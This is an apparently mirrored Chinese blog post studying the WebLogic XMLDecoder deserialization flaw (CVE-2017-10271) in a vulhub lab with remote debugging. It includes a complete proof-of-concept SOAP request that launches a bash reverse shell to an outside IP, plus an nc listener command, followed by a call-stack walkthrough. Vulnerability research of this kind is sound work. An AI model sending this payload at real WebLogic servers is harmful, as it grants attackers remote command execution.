4

WebLogic XMLDecoder反序列化漏洞学习

 2 years ago
source link: https://shu1l.github.io/2021/02/09/weblogic-xmldecoder-fan-xu-lie-hua-lou-dong-xue-xi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

weblogic简介

​ Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
​ Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

一般使用的是10.3.6,这两个大版本也叫WebLogic Server 11g和WebLogic Server 12c。

CVE-2017-10271

​ weblogic “wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中”XMLDecoder”类进行XML反序列化操作引发了代码执行。

XMLDecoder类用于读取使用XMLEncoder创建的XML文档

使用vulhub中的docker搭建复现环境,搭建环境可以参考https://vulhub.org/#/docs/

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271

因为要动态调试,需要开启一个远程调试的端口8053,所以将docker-compose.yml文件改动如下

version: '2'services:  
weblogic: image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"

IDEA远程调试

,关于Weblogic的远程调试方法可以参考:

https://github.com/Maskhe/javasec/blob/master/IDEA%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A72%E2%80%94%E2%80%94%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95.md

使用idea打开拷贝出的项目文件,将项目中的/server/lib和modules这两个文件夹添加到library。

添加后,就会发现里面的.jar和.war的包都可以点开了,并且可以搜索里面的一些类和字符串了。

然后我们在idea中设置remote debug,然后点击右上方的debug,出现如下字样,说明已经配置ok。

Connected to the target VM, address: 'localhost:8453', transport: 'socket'

首先我们复现一下漏洞,在response中我们可以看到命令执行的调用栈。

首先我们开一个nc监听。

nc -lvvp 8888

然后直接拿vulhub上的poc打:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.111.134/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell成功

通过查看response中的xml数据,我们可以在<ns2:frame />标签中看到调用栈。

其中重要的调用栈有如下一些方法:

- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest
- weblogic.wsee.jaxws.workcontext.WorkContextTube->readHeaderOld
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube->receive
- weblogic.workarea.WorkContextMapImpl->receiveRequest
- weblogic.workarea.WorkContextLocalMap->receiveRequest
- weblogic.workarea.spi.WorkContextEntryImpl->readEntry
- weblogic.wsee.workarea.WorkContextXmlInputAdapter->readUTF

我们接下来就根据上面复现得到的调用栈进行跟踪调试。

根据poc找到问题出在wls-wsat,然后找到对应的wls-wsat.war包,打开后点击web.xml查看有哪些接口

然后我们直接跟踪调用栈的第一个processRequest 方法。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

这里的var1是传进来的XML数据。var3是soap头部解析的结果 不为空 于是 跟入readHeaderOld。

weblogic.wsee.jaxws.workcontext.WorkContextTube

在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,之后跟进receive()

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

var2获取一个WorkContextMapImpl实例,然后调用receiveRequest方法将var1值传入。

继续跟进receiveRequest()

weblogic.workarea.WorkContextMapImpl

将var1传到了receiveRequest()方法中,继续跟进

weblogic.workarea.WorkContextLocalMap

WorkContextEntryImpl.readEntry(var1);对传进来的数据进行处理,具体的代码好像看不太懂,但是跟进!readEntry()!

weblogic.workarea.spi.WorkContextEntryImpl

继续跟进readUTF():

weblogic.wsee.workarea.WorkContextXmlInputAdapter

在这里就执行了this.xmlDecoder.readObject(),对XMLDecoder对象进行了反序列化,导致RCE。

调用栈总结

https://hu3sky.github.io/2019/10/16/weblogic/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.jianshu.com/p/5493f63fd7a0

https://github.com/Maskhe/javasec/blob/master/Weblogic%E4%B9%8BXMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%961%EF%BC%88CVE-2017-3506).md

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK